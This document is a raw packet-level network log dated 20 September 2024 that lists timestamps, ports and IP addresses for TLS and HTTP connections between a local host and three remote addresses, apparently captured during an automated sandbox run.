Sep 20, 2024 12:14:42.006088972 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.049757004 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.095477104 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.156380892 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.156487942 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.156558037 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.258598089 CEST	80	58629	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:42.300314903 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:42.308017969 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.308113098 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.308468103 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.326050997 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.326124907 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.401710987 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.437714100 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:42.438939095 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.438978910 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.439062119 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.439445019 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.439456940 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.442975998 CEST	80	58627	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:42.445506096 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:42.814613104 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.814985037 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.817940950 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.817996979 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.818541050 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.862752914 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.872246027 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.915487051 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.917157888 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.918883085 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.918905020 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.984639883 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.984919071 CEST	443	58630	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.985025883 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.991189957 CEST	58630	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.993200064 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:42.993813038 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.993889093 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.993976116 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.994247913 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.994285107 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:42.998442888 CEST	80	58629	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:42.998514891 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:43.114403009 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.114518881 CEST	443	58631	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.114593983 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:43.115041971 CEST	58631	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:43.126319885 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.126373053 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.126460075 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.126765013 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.126782894 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.470912933 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.472697973 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:43.472738981 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.572432995 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.572674990 CEST	443	58632	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:43.573117018 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:43.573117018 CEST	58632	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:43.575424910 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.575524092 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.575911045 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.576164961 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.576195002 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.794898987 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.795140982 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.797313929 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.797327995 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.797733068 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:43.799350023 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:43.843410015 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.214811087 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.215013981 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.216655016 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.216686010 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.217030048 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.218591928 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.249630928 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.249857903 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.249969006 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250041008 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.250041008 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.250053883 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250082970 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250202894 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250217915 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.250236988 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250324011 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.250330925 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250400066 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.250466108 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.250472069 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.259409904 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.300251007 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.339478970 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.339555025 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.339591026 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.339632034 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.339698076 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.339771032 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.339812994 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.340362072 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.340400934 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.340439081 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.340595007 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.340611935 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341192007 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341229916 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341300011 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.341311932 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341384888 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.341440916 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341562033 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341603994 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341661930 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.341675043 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.341732979 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.342385054 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.342482090 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.344600916 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.344676971 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.344696045 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.344759941 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.586677074 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586750984 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586788893 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586847067 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586894035 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586982012 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.586997032 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587038040 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587073088 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587121010 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587167978 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587174892 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587270021 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587342024 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587398052 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587404966 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587450981 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587495089 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587646961 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587728977 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587786913 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587795019 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587838888 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.587845087 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.587946892 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588038921 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588093042 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588095903 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588124037 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588149071 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588156939 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588238955 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588359118 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588366032 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588413954 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588419914 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588440895 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588468075 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588478088 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588494062 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588532925 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588532925 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588545084 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588561058 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588587046 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588601112 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588607073 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588651896 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588656902 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588709116 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588716030 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588726044 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588726997 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588747025 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588793039 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588823080 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588938951 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.588990927 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.588996887 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589051008 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589119911 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589173079 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.589179993 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589224100 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.589230061 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589299917 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589376926 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589430094 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.589436054 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.589483023 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.589488029 CEST	443	58633	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.590734959 CEST	58633	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.593744993 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.593796015 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.594067097 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.594185114 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.594196081 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.598442078 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.598484993 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.598553896 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.598587036 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.598649979 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.598772049 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.598818064 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.599778891 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.599839926 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.599860907 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.599910975 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.599919081 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.600013971 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.600826979 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.600883007 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.600899935 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.600960016 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.600967884 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601046085 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601260900 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.601270914 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601681948 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601759911 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601828098 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.601841927 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.601891041 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.602442980 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.618803978 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.618877888 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.618989944 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.619016886 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.619055033 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.619092941 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.619111061 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.619151115 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.661098003 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662261009 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662374020 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662457943 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662564993 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662569046 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.662570000 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.662664890 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662766933 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662842989 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662844896 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.662867069 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.662929058 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.663575888 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.663655996 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.663772106 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.663794041 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.664434910 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.664525986 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.664551973 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.664565086 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.664592981 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.665282965 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.665370941 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.665445089 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.665451050 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.665473938 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.665513992 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.666273117 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.666352034 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.666356087 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.666378021 CEST	443	58634	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.666553974 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.666599989 CEST	58634	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.672631025 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.672720909 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:44.672843933 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.673135042 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:44.673173904 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.226562023 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.239331961 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.239366055 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.314941883 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.318176031 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.318207979 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755414009 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755631924 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755739927 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755820990 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755886078 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.755889893 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.755891085 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.755959034 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.756020069 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.756072998 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.756143093 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.756160021 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.756244898 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.756479025 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.756541967 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.756853104 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757078886 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757188082 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757194042 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.757229090 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757258892 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.757339001 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757514954 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.757546902 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757828951 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.757893085 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.757925034 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.758008003 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.758069992 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.758080959 CEST	443	58636	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.800373077 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.800457001 CEST	58636	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.843462944 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.843647957 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.843728065 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.843750954 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.843813896 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.843887091 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.843904972 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844026089 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844094038 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.844109058 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844202042 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844263077 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.844275951 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844907999 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.844979048 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.844994068 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.845088005 CEST	443	58635	140.82.121.3	192.168.2.4
Sep 20, 2024 12:14:45.845155001 CEST	58635	443	192.168.2.4	140.82.121.3
Sep 20, 2024 12:14:45.845168114 CEST	443	58635	140.82.121.3	192.168.2.4
